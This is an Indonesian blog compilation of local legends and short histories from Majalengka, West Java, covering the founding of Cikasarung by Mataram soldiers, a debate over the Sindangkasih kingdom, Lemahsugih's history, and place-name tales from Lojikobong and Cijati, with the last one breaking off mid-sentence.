Melihat jarak Mataram- Batavia yang begitu jauh maka sang Sultan memperhitungkan bahwa masalah logistik atau bahan pangan akan menjadi kendala terbesar yang akan dihadapi oleh pasukan Mataram. Untuk mengatsi hal tersebut Sultan memutuskan untuk mengirim secara rahasia para prajurit yang mempunyai keahlian bercocok tanam guna membuka lahan-lahan pertanian di sepanjang jalur yang akan di lewati yaitu di sekitar jalur pantai Utara Jawa Barat sekarang ini. Tugas pokok prajurit-prajurit tersebut adalah membuat lumbung-lumbung padi untuk mensuplai kebutuhan logistik pasukan.<br /><br />Diceritakan lima orang prajurit mataram sampai ke sebuah tempat di kawasan Kelurahan Cikasarung saat ini. Di tempat tersebut hanya terdapat beberapa keluarga petani yang sederhana dengan seseorang yang dianggap sebagai sesepuh mereka, tepatnya tempat itu masih berupa babakan bukan kampung apalagi desa. Seperti layaknya orang pedesaan warga Babakan itu menyambut kedatangan kelima tamu tak dikenal itu dengan ramah, mereka berkumpul di rumah sesepuh bercengkrama penuh keakraban.<br />“ Jadi apa maksud ki sanak berlima datang ke sini ?” Tanya sesepuh setelah orang-orang pulang ke rumahnya masing-masing, saat suasana mulai tenang.<br />“ Sebab saya lihat dari sikap dan penampilan ki sanak bukan para pengembara sembarangan yang kesasar tanpa arah dan tujuan,” lanjutnya lagi.<br />Kelima prajurit itu saling pandang satu sama lainnya, kemudian keempat orang dari mereka menggunakan kepala kepada seseorang yang menjadi juru bicara, rupanya orang itu adalah pemimpin diantara mereka berlima.<br />“ melihat keramahan dan keikhlasan hati menyambut kami berempat, baiklah saya akan menerangkan siapa kami sebenarnya. Kami yakin Aki cukup bijak untuk menyimpan rahasia ini.” Lantas pimpinan itu mencerikan semuanya.<br />“ Begitulah Ki ceritanya.” Ucap pimpinan prajurit itu.<br />“ O, begitu. Jadi raden-raden ini prajurit Mataram.”<br />“ Jangan panggil kami raden, toh kami hanya prajurit biasa dan lagipula kami sampai ke Babakan ini bisa juga disebut nyasar karena tujuan kami sebenarnya adalah jalur Pantai Utara Jawa.<br />“ Baiklah kalau begitu saya pribadi sangat mendukung perjuangan Sultan untuk merebut Batavia. Sebagai bentuk dukungan, saya akan mengganjar kalian dengan lahan sebelah Timur babakan ini untuk digarap menjadi lading atau sawah.”<br />“ Ooh … terima kasih sekali, Ki.” Jawab mereka berlima serempak.<br />“ Orang-orang Babakan ini penuh rasa welas asih ini memang Babakan Asih !” Seru pimpinan prajurit kegirangan.<br /><br />Sejak saat itu Babakan tersebut disebut blok Babakan Asih karena orang-orang di Babakan itu mempunyai sifat welas asih yang tinggi. Sedangkan kelima prajurit Mataram disebut sebagai Balaganjar diambil dari kata Balad dan Ganjar yang artinya : Orang-orang atau kelompok yang diganjar – diberi anugrah, dan tempat mukim merekapun disebut blok Balaganjar.<br /><br />Setelah itu kelima prajurit Mataram yang memang ahli dalam bertani menggarap lahan yang diberikan oleh sesepuh Babakan Asih. Kendala pertama yang mereka temui susahnya mencari sumber air untuk mengairi lahan mereka, karena letak lahan pertanian yang akan mereka garap lebih tinggi dari Sungai Cideres deet yang berada di sebelah utaranya. Akhirnya mereka memutuskan untuk mencari sumber air di bukit sebelah selatan. Hamper seharian penuh mereka mencarinya, menjelang waktu Ashar mereka menemukan rembesan-rembesan air yang keluar dari rumpun-rumpun honje yang terletak di tebing pasir ynag agak landai. Setelah di korek-korek rembesan-rembesan air itu semakin membesar.<br />“ Air! Air!” seru mereka kegirangan.<br />“ Airnya deras sekali, dan jernih.”<br />“ Cepat bikin pancuran! Biar nanti besok kita buatkan parit-parit untuk aliran airnya.” Perintah sang pemimpin.<br /><br />Usai sudah pencarian sumber air dan pembuatan saluran irigasi. Dengan tangan dingin kelima petani prajurit itu lahan pertanian Balaganjar yang tadinya hanya lading, semak-semak dan ilalang telah berubah menjadi pesawahan yang subur, dan orang-orang Babakan Asih juga mulai bercocok tanam di lahan tersebut.<br /><br />Sumber mata air sampai sekarang masih mengalir deras bahkan di musim kemarau sekalipun. Penduduk Dusun Dukuh Pasir – bagian dari Blok Balaganjar sekarang ini – banyak memanfaatkan mata air tersebut untuk mandi mencuci selain untuk mengairi sawah mereka. Penduduk Kelurahan Cikasarung menyebut mata air tersebut dengan sebutan Cihanja mungkin diambil dari kata honje.<br /><br />Keberhasilan lima prajurit Mataram semakin membuat penduduk Babakan Asih menaruh hormat dan kagum pada mereka. Mereka sering diajak berembuk dalam segala hal yang menyangkut kepentingan bersama. Rasa hormat dan kagum penduduk Babakan Asih diungkapkan dengan pemberian nama-nama kepada kelima prajurit Mataram tersebut seperti : Ki Ganjar sebutan untuk pimpinan kelima prajurit itu, dan untuk prajurit yang mempunyai sifat cakap dan pintar mereka menyebut Ki Jaksa, dan untuk prajurit yang mempunyai keahlian bercocok tanam palawija mereka menyebutnya Ki Bogor, untuk prajurit yang ahli dalam pengobatan mereka menyebutnya Aki Dukun, sedangkan prajurit yang ahli bangunan Ki Putul, nama tersebut lalu diabadikan oleh warga Kelurahan Cikasarung menjadi sebuah tempat / buyut.<br /><br />Dengan kedatangan kelima prajurit Mataram tersebut taraf kehidupan Penduduk Babakan Asih ada peningkatan dari sebelumnya, hal itu bisa terlihat dari hasil panen yang melimpah dikarenakan semakin luasnya lahan pertanian yang digarap. Mereka selalu bisa menyimpan hasil panen tiap musimnya, sisa dari pemenuhan kebutuhan sehari-hari.<br /><br />Untuk memenuhi kebutuhan mereka menjual hasil pertaniannya ke pasar yang letaknya kurang lebih 15 Km di wilayah Kadipaten sekarang ini dengan cara dipikul melewati hutan belantara. Mereka pergi ke pasar setiap seminggu sekali di hari yang biasa mereka sebut sebagai poe pasar. Dan dari pasar ini pula mereka mendapatkan informasi keadaan di luar Babakan tempat tinggal mereka.<br />Suatu hari bada isya, sesepuh mengundang kelima prajurit Mataram kerumahnya.<br />“ Ada apa Ki? Sepertinya penting sekali Aki mengundang kami malam-malam begini.” Tanya Ki Ganjar.<br />“ Ki Ganjar saya mendengar berita dari tukang kain di pasar bahwa Belanda telah mengetahui rencana Sultan untuk menyerang Batavia dan merekapun telah mengetahui Strategi Sultan yang mengirim prajuritnya untuk membuka lahan pertanian, sekarang ini mereka sedang mencari para prajurit yang menyamar jadi petani. Mereka telah banyak menangkapi dan membakar lumbung-lumbung padi di sekitar Pesisir Pantai Utara Jawa. Saya khawatir keberadaan kalian berlima diketahui oleh mereka, karena itu sebaiknya kalian bersembunyi atau pergi dari Babakan ini.” Jawab sesepuh menjelaskan maksud mengapa dia mengundang kelima prajurit itu secara diam-diam.<br />“ Kenapa kami harus pergi Ki, bukankah jika tentara Belanda datang kami bisa mengaku sebagai orang Babakan ini?” Tanya Ki Ganjar lagi.<br />“ Penduduk Babakan Asih sedikit, jadi kalau ada orang asing di sini mudah dikenali, lagi pula logat bicara kalian beda sekali dengan kami, sepintas saja orang bisa bahwa kalian dari Jawa.”<br />“ Tapi tidak mungkin kan kalau kami saat ini harus kembali ke Mataram tugas kami belum selesai.” Ucap Ki Ganjar.<br />“ Saya tidak mengusulkan kalian untuk kembali ke Mataram tapi untuk bersembunyi sampai keadaan benar-benar aman.”<br />“ Bagaimana ini saudara-saudara?” Tanya Ki Ganjar kepada keempat temannya.<br />“ sebagai prajurit Mataram rasanya tidak pantas kita lari atau bersembunyi dari musuh, bukankah kita juga berbekal senjata?” Jawab Ki Putul.<br />‘ saya sependapat dengan Ki Putul, kita lawan mereka! Biar harus meregang nyawa kita mati dalam keadaan terhormat. Kita ini sejatinya adalah seorang prajurit ingat itu! Kita bukan hanya petani kita prajurit!” Ki Bogor menimpali dengan berapi-api.<br />“ Saya rasa itu kurang tepat.” Sanggah Ki Jaksa.<br />“ Mengapa?!” Tanya Ki Putul dan Ki Bogor hampir berbarengan.<br />“ Berikan kami alasannya!” Pinta Ki Bogor dengan nada bicara yang sedikit emosional.<br />“ Karena jika kita melawan, orang-orang Babakan Asih akan kena getahnya.” Ujar Ki Jaksa dengan nada yang datar dan ekspresi.<br />“ Ya benar, kita tidak mungkin melibatkan apalagi mengorbankan mereka semua. Mereka petani asli tidak seperti kita.” Ki Dukun menambahkan.<br />“ Lagi pula kita kalah dalam hal kelengkapan senjata dan jumlah prajurit juga kemampuan bertempur, pasti kita kalah total. Keberanian harus tetap ada, tetapi harus memakai akal jangan sampai kita mati konyol.”<br />“ Apa?! Ki Jaksa menganggap bahwa mati sebagai prajurit di medan perang sebagai sebuah tindakan konyol?” jelas sekali terlihat kekesalan dalam raut muka Ki Bogor.<br />“ Bukan begitu maksud saya Ki…”<br />“ Lalu apa?” potongnya cepat.<br />“ Sudah, sudah yang harus kita utamakan sekarang adalah keselamatan penduduk Babakan Asih, sekaligus tugas kita juga bisa dijalankan. Lagi pula Sultan menugaskan kita bukan untuk berperang tapi menyiapkan lumbung-lumbung padi untuk logistik pasukan di saat nanti menyerang ke Batavia.” Sela Ki Ganjar menengahi .<br />“ Tapi Ki ganjar, Belanda sudah mengetahui hal tersebut.” Ujar sesepuh mengingatkan.<br />“ kita harus mencari jalan keluarnya.” Ucap Ki Ganjar. Semua orang terdiam, termenung berpikir keras mencari jalan keluar yang terbaik. Suasanapun hening dan tegang desah daun-daun bambu yang diterpa angina malam semakin membuat malam mencekam.<br />“ Begini saja.” Ki Ganjar memecahkan kebekuan.<br />“ Sultan menugaskan kita dan kita tidak boleh menyimpang dari tugas utama sebelum ada perintah lain.”<br />“ Iya saya tahu tapi maksudnya bagaimana ini?” Tanya sesepuh.<br />“ maksud saya begini kami berlima akan pindah dari Balaganjar. Kami akan membuka lahan baru secara sembunyi-sembunyi yang jauh dari pemukiman penduduk, jangan sampai ada seorang penduduk yang mengetahuinya dan kami akan membuka lahan secara berpencar supaya tidak mudah dilacak Belanda.” Ki Ganjar menghentikan ucapannya sedangkan kelima orang lainnya terlihat mengangguk angguk sebagai tanda mengerti dan setuju dengan pendapat Ki Ganjar.<br />“ Saya memerlukan bantuan Aki.” Sambung Ki Ganjar.<br />“ Apa yang bisa saya bantu?” balas Ki Sesepuh.<br />“ Besok kami akan pergi ke Bukit sebelah selatan mudah-mudahan di sana di temukan tempat yang cocok.”<br />“ Lalu apa tugas saya?” Tanya sesepuh.<br />“Besok pagi-pagi Aki kumpulkan seluruh penduduk yang ada di Babakan Asih kami akan bilang kepada mereka bahwa kami akan berpamitan dengan begitu semua orang akan mengira bahwa kami telah pulangke kampung halaman. Setelah itu Aki berpura-pura mengantar kami, kita berjalan berputar agar mereka tidak tahu bahwa tujuan kita adalah bukit di sebelah Selatan.”<br />“ Ya… ya saya mengerti.” Ucap sesepuh.<br />“ Jadi jika suatu hari ada Belanda datang kemari mencari orang-orang Mataram tidak akan ada orang yang tahu. Hal ini baik sekali untuk keamanan orang-orang di sini. Bukankah hanya Aki seorang yang tahu bahwa kami prajurit Mataram?” Tanya Ki Ganjar.<br />“ Saya jamin itu, Ki.” Ucap sesepuh meyakinkan Ki Ganjar.<br />“ Dan sekarang, mungpung hari telah malam, tolong KI Putul dan Ki Bogor membereskan persenjataan perang kita, kalian harus membawanya jauh dari sini untuk disembunyikan kalau perlu dikubur saja biar aman. Sedangkan saya dengan Ki Jaksa dan Ki Dukun akan berkemas barang-barang.”<br />“ Baik, Ki” jawab Ki Putul dan Ki Bogor.<br />“ Saya rasa pertemuan ini telah selesai, kami mohonn pamit untuk berkemas dan bersiap-siap.” Ki Ganjar pamit kepada sesepuh.<br /><br />Malam itu juga Ki Ganjar dan teman-temannya sibuk berkemas. Ki Putul dan Ki Bogor terlihat menyelinap keluar rumah menuju sebuah bukit di sebelah timur dengan membawa peralatan perang yang mereka punyai semisal keris, pedang, tameng, panah, dan tombak. Mereka mengubur benda-benda tersebut di puncak Bukit sebelah timut Balaganjar.<br />Esok harinya setelah berpamitan kepada penduduk Babakan Asih kelima prajurit Mataram di temani sesepuhh Babakan mendaki bukit di sebelah selatan Balaganjar. Mereka menelusuri setiap tempat mencari lahan yang cocok untuk membuka lahan pertanian yang baru. Ternyata bukit itu cukup luas malahan lebih luas dari luas Balaganjar ditambah Babakan Asih.<br />“ tempat ini cukup subur pepohonannya tumbuh dengan bagus, daerah ini sangat cocok untuk pesawahan.” Ujar Ki Ganjar.<br />“ Ya, sangat sayang sekali kalau hanya ditanami singkong atau ganyong.” Ki Bogor menambahkan lalu ia berjongkok mengambil segenggam tanah dikepal-kepalnya dan di ciumnya.<br />“ Tapi untuk dijadikan pesawahan kita membutuhkan pengairan yang baik.” Jelas Ki ganjar.<br />“ Mudah-mudahan kita menemukan sumber air disini” kata Ki Jaksa.<br />“ Saya yakin di sini ada sumber air yang cukup, karena kesuburan sebuah tanah tidak dapat dipisahkan dari keberadaan sebuah air, mereka adalah sepasang sejoli.” Ki Bogor menjelaskan sambil berkelakar.<br />“ Ah … Ki Bogor bisa saja.” Ujar sesepuh menepuk bahu Ki Bogor, mereka berenam terkekeh ringan.<br />“ Kita sudah menemukan tanah yang cocok, tugas kita sekarang adalah menemukan sumber air.” Ucap Ki ganjar.<br /><br />Mereka berenam melanjutkan perjalanan, mereka berjalan terus kearah Tenggara dari tempat mereka berkumpul meneliti tanah. Kurang lebih setengah jam lamanya pencarian akhirnya mereka menemukan sebuah mata air yang cukup besar. Air menyembur dari dalam tanah membentuk kubang seluas kira-kira dua belas meter persegi, dari kubangan tersebut air mengalir menganak sungai kearah barat. Kelima prajurit ditemani sesepuh menelusuri aliran sungai tersebut sambil membersihkan aliran sungai dari semak-semak, sampah dan endapan-endapan lumpur atau gundukan tanah yang menghalangi kelancaran aliran air sungai. Terlihat mereka bekerja begitu bersemangat sambil bernyanyi ringan sekenanya diselingi dengan gurauan-gurauan, samapi disuatu tempat aliran sungai. Itu terlihat aneh. Semestinya aliran besar mengalir searah dengan sungai lajimnya kea rah barat, akan tetapi ini malah sebaliknya sebagia besar aliran air itu berbelok kesebelah utara dan hanya sebagian kecil yang mengalir kearah barat, itula yantg merupaka suatu keanehan.<br />“Cai kasarung! “ seru sesepuh<br />“ Heran?”<br />“ Heran?” seru kelima prajurit mataram.<br />“Saya baru tahu bahwa du bukit ini ada cai kasarung. Harusnya sungai ini mengalir kearah barat, ini malah belok kea rah utara sedangkan air yang mengalir kea rah Barat justru sedikit ( cai leutik ), Sesepuh terdengar berguman ia tak bisa menyembunyikan keharanannya. Ternyata aliran air tidak terus mengalir mengalir ke Utara tapi melingkar kea rah Timur berlawanan dengan aliran sungai induknya ( cai kasarung ).<br /><br />Sejak saat itu sungai itu disebut lebak Cikasarung sedangkan aliran sungai yang berbelok ke kanan lalu melingkar ke arah Timur disebut lebak eran – di ambil dari kata heran dan aliran sungai yang terus mengalir ke arah Barat disebut lebak cileutik.<br /><br />Akhirnya ki Ganjar memutuskan bahwa ia akan membuka pesawahan di tempat pertama kali mereka meneliti tanah sedangkan ia akan menetap di sebrang ( peuntas ) sebelah Utara sawah garapannya tepatnya dipuncak bukit sebelah selatan Balaganjar.<br />Dengan tujuan agar ia dapat memantau kedatangan Belanda bila sewaktu – waktu ke Balaganjar. Di tempat Kiganjar memebuka pesawahan itulah berdiri balai Kelurahan Cikasarung sekarang ini sedangkan sawah yang digarap di seberangnya disebut swah peuntas.<br /><br />Ki Jaksa membuat saung tempat tinggalnya di pinggiran Sungai Cikasarung agak ke hulu sebelah teenggara sawah garapan Ki Ganjar dengan tugas menjaga mata air kelak yang menjadi sumber air sungai Cikasarung. Sampai sekarang sawah garapannya itu disebut Sawah Jaksa.<br /><br />Ki Putul berdiam tepat di belokan sungai Cikasarung, Eran dan Cileutik, ia bertugas mengolah tanah merah(beureum) di sekitarnya. Dan sawah garapannya disebut Sawah Keusik dan Sawah Beurem.<br /><br />Sedangkan Ki Dukun ditugaskan untuk membuka huma-sawah tadah hujan agar jauh dari aliran sungai yaitu sebelah barat sawah peuntas. Di tempat tersebut Ki Dukun mulai ngabeubeura (membuka ladang) itulah terdapat sawah Bebera dan Bebera Kiai sekarang ini. Selain itu menemukan sungai kecil yang berhulu di rumpun bambu Tamiang, maka daerah itu dinamakan Lebak Tamiang. Adapun tempat ia membangun saung tempat tinggalnya disebut leuweung Aki Dukun, tepatnya saung itu didirikan cukup jauh dari ladang pertama yang ia buka sebelumnya.<br /><br />Lain lagi dengan Ki Bogor ditempatkan diujung Barat Kelurahan Cikasarung saat ini lebih jauh dari Ki Dukun. Ki Bogor ditugaskan untuk membuka perkebunan di hutan tersebut seperti kebun singkong, talas, ganyong dan buah-buahan. Di samping berhuma hanya Ki Dukun selain itu Ki Bogor pun bertugas untuk menjaga dan memelihara pepohonan seperti jati, kihujan, jengjing, kihiang dan lain-lainnya yang berada di hutan tersebut. Di sebelah utara, ditempat tinggalnya ia menemukan sebuah mata air, Ki bogor pun membendungnnya sehingga menjadi sebuah sumur disebutlah mata air itu dengan sebutan sumur bendung, namun karena latahnya lidah orang-orang saat ini penduduk cikasarung menyebutnya sumur bandung dan Ki Bogor juga menemukan mata air yang keluar dari semak-semak pohon dadap maka diberi nama lah daerah sekitarnya dengan sebutan Cidadap. <br /><br />Keahlian kelima prajurit mataram itu dalam hal bertani memang sangat mengagumkan sampai sekarang tempat-tempat tersebut menjadi lahan-lahan pertanian yang produktif di Kelurahan Cikasarung terutama sawah jaksa, sawah pentas, sawah kesik dan sawah balaganjar. Sedangkan daerah lingkungan sungai Cikasarung dengan sungai eran menjadi pusat Kelurahan Cikasarung.<br /><br />Namun akhir dari keberadaan kelima prajurit mataram tersebut tidak diketahui dengan jelas ada yang beranggapan bahwa mereka ngahiang menghilang begitu saja tanpa bekas dikarenakan kesaktian mereka yang sangat tinggi ada juga yang beranggapan bahwa mereka pergi ke Batavia bergabung dengan pasukan mataram untuk berperang melawan penjajah Belanda. Untuk menghormati jasa-jasa mereka penduduk terus memelihara peninggalan-peninggalan mereka berupa sawah, ladang dan kebun dengan cara menggarapnya dengan baik, juga memelihara mata air-mata air dan saluran irigasi yang mereka buat. Umumnya masyarakat pedesaan mereka pun membuat peti patilasan-patilasan yang disebut buyut di atas saung-saung tempat ke lima prajurit Mataram tersebut menetap, seperti: Buyut Ganjar, Buyut Jaksa, Buyut Putul, Buyut Aki Dukun dan Buyut Bogor. Adapun tempat dikuburnya senjata-senjata pusaka mereka disebut buyut kramat dan tempat tinggal orang yang diberi tugas untuk menjaga setiap (saban) matahari tenggelam sampai matahari terbit disebut Buyut Saban.<br /><br />Begitulah berita asal mula Kelurahan Cikasarung lazimnya sebuah legenda kebenaran ceritanya sangat sulit dibuktikan.<br /><br />Kerajaan Sindangkasih di Majalengka, benarkah ada? <br />Beberapa waktu yang lalu, saya membaca sebuah buku yang cukup menarik. Sebenarnya buku tersebut merupakan terbitan lama, sebaya dengan umur saya sekarang. Faktor keterbatasan dan ketidaktahuanlah yang menyebabkan saya baru bisa menemukan dan membaca buku tersebut setelah beberapa lama. Buku tersebut ditulis oleh seorang kelahiran Cirebon, sekitar tahun 1983. buku tersebut bercerita tentang sejarah Kerajaan Cerbon (buku tersebut menyebutnya demikian), terutama pasca Sunan Gunung Jati atau Syarif Hidayatullah memimpin kerajaan tersebut.<br /><br />Dalam buku Kerajaan Cerbon tersebut diceritakan beberapa hal yang mungkin menurut saya bisa merubah sejarah atau bahkan menghilangkan sama sekali Kerajaan Sindangkasih yang konon pernah ada di Majalengka.<br /><br />Dari beberapa informasi yang saya dapat sebelumnya, bahwa pada zaman sebelum Islam masuk ke Majalengka, terdapat sebuah kerajaan bernama Sindangkasih yang berada di daerah Sindangkasih, Majalengka dan dipimpin oleh ratu bernama Nyi Rambut Kasih. Entah benar atau tidak, yang jelas bila kita mengakses situs Bappeda-Majalengka maka akan diceritakan kisah keberadaan kerajaan tersebut, sama seperti yang saya terima selama 15 tahun terakhir. Ringkasnya keberadaan Kerajaan Sindangkasih tersebut lalu kalah oleh pengaruh Islam dari Kerajaan Cerbon.<br /><br />Yang menjadi pertanyaan setelah saya membaca buku tersebut ialah, penulis yaitu Unang Sunardjo, S.H menyangkal bahwa Kerajaan Sindangkasih tersebut berada di daerah Majalengka, tetapi terletak di daerah yang namanya sama Sindangkasih di daerah Kecamatan Beber, Kabupaten Cirebon. Menurut buku tersebut, daerah Sindangkasih merupakan hadiah dari ayah Nhay Ambet Kasih (mungkin Nyi Rambut Kasih), yaitu Ki Gedeng Sedhang Kasih setelah Nhay Ambet Kasih menikah dengan Raden Pamanah Rasa, yang kelak dikenal dengan nama Prabu Siliwangi. Sindang Kasih tersebut tak lebih merupakan bagian dari Nagari Surantaka pimpinan Ki Gedeng Sedhang Kasih, yang merupakan pecahan dari daerah otonom di bawah Kerajaan Galuh yang bernama Wanagiri Besar. Karena sesuatu hal, Wanagiri Besar tersebut, menjadi pecah dan terbagi dalam beberapa nagari, termasuk Nagari Surantaka.<br /><br />Tentunya patut ditelusuri kebenaran pendapat tersebut, karena saya pribadi merasa bahwa pelurusan sejarah merupakan hal penting. Meski telah beribu-ribu tahun ditelan masa, tetapi pelurusan sejarah menjadi perlu ketika kebutuhan untuk menyadari identitas diri menjadi sangat urgen.<br /><br />Meski tidak sepenuhnya menyalahkan pendapat tersebut, tetapi bila ditanyakan argumen untuk mendukung kebenaran bahwa Kerajaan Sindangkasih memang benar-benar di daerah Majalengka, saya juga kebingungan untuk mencari bukti. Tidak ada patilasan atau dokumen-dokumen sejarah yang mendukung keberadaan Kerajaan Sindangkasih di Majalengka tersebut. Setidaknya sampai sekarang saya belum menemukan dan berhasil mengetahui sisa-sisa peradaban Kerajaan Sindangkasih di Majalengka. Lebih lanjut, buku tersebut hanya mengakui keberadaan Kerajaan Talaga Manggung (yang berpusat di Kec. Talaga sekarang), yang kemudian juga tertundukkan oleh Kerajaan Islam Cerbon. Di Majalengka sendiri, sepertinya pada waktu itu belum ada peradaban, karena tidak pernah disinggung sama sekali hubungan diplomatik atau sejenisnya dengan Kerajaan Cerbon. Kalaupun ada, hanya daerah Rajagaluh yang pernah disebutkan sebagai salah satu daerah ”sampingan” dari Kerajaan Cerbon.<br /><br />Sehingga mana yang benar dan mana yang salah, belum dapat saya ketahui. Satu hal yang pasti, kita memerlukan argumen sejarah dan dokumen peninggalan yang tersisa untuk membuktikan bahwa memang pernah berdiri Kerajaan Sindangkasih di Majalengka. Tugas siapa?, tentunya kita semua untuk lebih mengenal cikal-bakal peradaban dan nenek moyang kita sendiri. Bersediakah kita?.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-4298013703555652062010-09-21T22:29:00.001+07:002010-09-21T22:29:39.807+07:00Asal Usul Sekitar Daerah Majalengka25. SEJARAH SINGKAT BERDIRINYA KECAMATAN LEMAHSUGIH<br /><br />Sejak jaman penjajahan Belanda, Desa Lemahputih sudah menjadi pusat perekonomian di Majalengka dan wilayah priangan. Kegiatannya berupa perkebunan, yaitu kebun teh, kopi, dan kina. Perkebunan teh dan kopi lengkap dengan sarana pengolahannya, akibat penjajahan Jepang keadaan pabrik dan perkebunan rusak dan hancur.<br /><br />Pada tahun 1952 Kecamatan Bantarujeg terdiri dari 24 desa dengan lokasi sangat berjauhan, atas prakarsa Bupati Nur Atma Dibrata dimekarkan menjadi kemantren Lemahsugih yang meliputi 10 desa antara lain Desa Lemahputih, Padarek, Kalapadua, Sadawangi, Kepuh, Cigaleuh, Cipasung, Bangbayang, Cibulan dan Desa Borogojol, dengan Ibu Kota Kecamatan di Lemahputih.<br /><br />Ibu Kota sering menjadi sasaran serangan gerombolan DI/TII, atas kerjasama antara rakyat, pemuda, pamong desa, OKD, Polisi Pamong Praja, dan ABRI Batalion 309/ 11 April Kompi V Pandawa mengadakan pagar betis yang akhirnya dapat di tumpas pada tahun 1961/1962.<br /><br />Bekas persembunyian DI/TII di Cigorowong pada tahun 1964 diadakan proyek pertanian Sunan Gunung Jati yang dilaksanakan oleh para Purnawirawan ABRI Kodam III Siliwangi yang selanjutnya menjadi lokasi translok sampai sekarang.<br />Berdasarkan atas keputusan Bupati Majalengka tanggal 16 Januari 1966 kemantren Lemahsugih diresmikan menjadi Kecamatan Lemahsugih dengan Ibu kota Kecamatan berkedudukan di Padarek. Dengan latar belakang sejarah dan pendirian Kemantren di Lemahputih pada tahun 1969 Ibu Kota Kecamatan dipindahkan kembali ke Lemahsugih.<br />“Lemahputih sama dengan tanah yang bersih“, “Lemahsugih sama dengan tanah yang kaya/subur“.<br /><br />Dengan harapan bahwa dari tanah yang bersih akan melahirkan tanah yang kaya/subur.<br /><br />26. LEGENDA BEBERAPA DAERAH DI DESA LOJIKOBONG<br /><br />Tempat Menurut cerita beberapa nama di wilayah desa lojikobong ini ada cerita menarik yang berkaitan dengan nama tersebut, dalam hal ini penulis mencoba untuk menuangkannya dalam bentuk tulisan adapun kebenarannya wallahu alam.<br /><br />1. Asal mula Dukuh Malang Jati Dongkal dan Jati Nutug<br />Pada waktu itu sedang terjadi perang tanding dua ksatria yang berilmu kedigjayaan tinggi di salah satu daerah susukan yang sekarang bernama kadongdong, setelah sekian lama berperang tidak ada yang kalah ataupun menang, salah satu ksatria mencabut pohon jati yang sangat besar, lalu di lemparkan kearah lawannya dengan menggunakan seluruh kekuatannya, si lawan menghindari dan pohon jati itu melesat terbang kearah barat hingga akhirnya jatuh di desa Lojikobong dengan posisi membujur. menurut sesepuh desa daerah tempat jatuh nya akar di sebut Jatidongkal berada daerah dukuh mencil (sekarang), adapun tempat dahan dan batang nya yang membujur / malang (basa sunda) hingga kini daerah tersebut bernama Dukuh malang, dan tempat jatuhnya pucuk pohon jati di beri nama Jati nutug karena jatuhnya nutug (nancap).<br /><br />2. Dukuh Pabrik<br />Dukuh Pabrik atau Dusun minggu adalah sebuah blok yang terletak di sebelah barat daya desa Lojikobong, di beri nama dukuh pabrik konon ceritanya pada jaman belanda di daerah ini berdiri sebuah pabrik pencelupan benang / kain milik pemerintah Hindia belanda. Akhirnya hingga kini daerah ini bernama Dukuh pabrik walaupun pabrik tersebut sudah tidak ada.<br /><br />3. Dukuh sinden dan Ki Ireng<br />Dukuh sinden atau blok rebo adalah wilayah desa Lojikobong yang ada di sebelah selatan. nama sinden di ambil dari kegemaran seorang istri demang yang suka melantunkan lagu lagu / kidung, dalam bahasa sunda di sebut nyinden. Maka daerah ini lebih akrab di sebut dukuh sinden.<br /><br />Adapun daerah Ki Ireng menurut sesepuh, ceritanya adalah :<br />Pada waktu dulu ada seorang ageng yang menanam padi, ketika waktunya panen terjadi suatu keajaiban yang luar biasa, manakala batang padi itu di potong tumbuh lagi sehingga tidak habis habis, lama kelamaan ki ageng ini merasa kelelahan dan penasaran akhirnya oleh ki ageng sawah itu di bakar sehingga padinya hitam (ireng – b. jawa ) . maka sejak kejadian itu dareah tersebut hingga sekarang bernama Ki Ireng. Wallahu alam.<br /><br />27. ASAL USUL DESA CIJATI <br /><br />Asal-Usul Desa Cijati<br />Untuk mengetahui asal-usul Desa Cijati, sangat erat kaitannya dengan kehadiran Embah Haji Siti Fatimah yang menjadi nenek moyang penduduk desa ini.<br />Kehadiran beliau di suatu tempat yang sekarang bernama Desa Cijati, menurut cerita orang-orang tua, kira-kira pada tahun 1690-an (Abad Ke-XVII). Beliau adalah berasal dari Demak keturunan kasepuhan dari Raden Fatah Sultan Demak. Untuk lebih jelasnya tercatat silsilah beliau sebagai berikut : (10) Siti Fatimah adalah putri (9) Nyi Langgeng Lanyi, putri (8) Pangeran Marta Singa, putra (8) Kiai Nanya Kerti, putra (4) Pangeran Waragil, putra (3) Sunan Prawoto, putra (2) Pangeran Trenggono, putra (Sultan Abdul Fatah (Raden Fatah) Sultan Demak.<br />Sebab musabab kehadiran Embah Haji Siti Fatimah di tempat ini ada dua variasi carita orang tua :<br />1. Beliau mengikuti suaminya yang bernama Embah Abdul Kodir putra Embah Abdul Muhyi Pamijahan Tasik Malaya. Mereka membuka pesantren dalam rangka menyebarkan ajaran agama Islam di suatu tempat di pinggir kali Cideres yang diberi nama Cijati.<br />2. Beliau berangkat dari lingkungan keraton di Demak, untuk mencari obat guna menyembuhkan penyakit kulit yang telah lama di deritanya. Penyakit itu sangat berat, belum ada seorang tabib pun yang dapat mengobatinya. Karena sudah sangat merasa kesal menderita penyakit itu, beliau bertafakur di kamarnya untuk memohon petunjuk kepada Tuhan tentang obat yang akan dapat menyembuhkan penyakitnya. Setelah beberapa lama tafakur itu dilaksanakan konon pada malam keempat puluh kebetulan malam jum’at, beliau mendapat ilapat berupa suara tanpa rupa yang menyuruh beliau agar keluar dari rumah. Di luar beliau melihat cahaya yang memancar ke langit di arah sebelah barat. Suara tanpa rupa itu menyuruh Fatimah agar mengikuti cahaya itu. Dan apabila beliau sampai di suatu tempat dan cahaya itu menghilang, di tempat itulah akan ditemukan obat penyembuh penyakitnya itu. Maka diikutinyalah petunjuk gaib itu. Ketika beliau sampai di suatu tempat di pinggir sebuah kali, hilanglah cahaya itu. Dan berhentilah Fatimah di tempat itu sesuai dengan petunjuk suara gaib dari bawah pohon-pohon jati yang besar-besar. Pada saat itu tempat tersebut masih merupakan hutan lebat. Beliau tertarik oleh air yang jernih pada itu ingin mandi untuk membersihkan diri badannya dan berwudhu. Betapa beliau tercengang ketika selesai mandi karena penyakitnya jadi sembuh dan kulitnya menjadi bersih. Air yang mujarab dan keluar dari pohon jati itu dinamainya Cai Jati (Cijati), yang kemudian menjadi nama kampung dan desa ini sampai sekarang. Adapun sumur yang berkhasiat itu dinamainya sumur Cikalamayan. Sampai sekarang sumur itu masih dianggap keramat.<br /><br />II. Perkembangan tempat yang bernama Cijati menjadi Desa Cijati<br />Setelah Fatimah sembuh dari penyakitnya yang sangat menjengkelkan itu dan mengasingkan dirinya dari keramaian keraton, berkat khasiat cai jati dari sumur Cikalamayan itu, beliau berniat membenci kehidupan keraton yang penuh kemewahan tetapi mengekang dan membosankan. Itulah sebabnya beliau 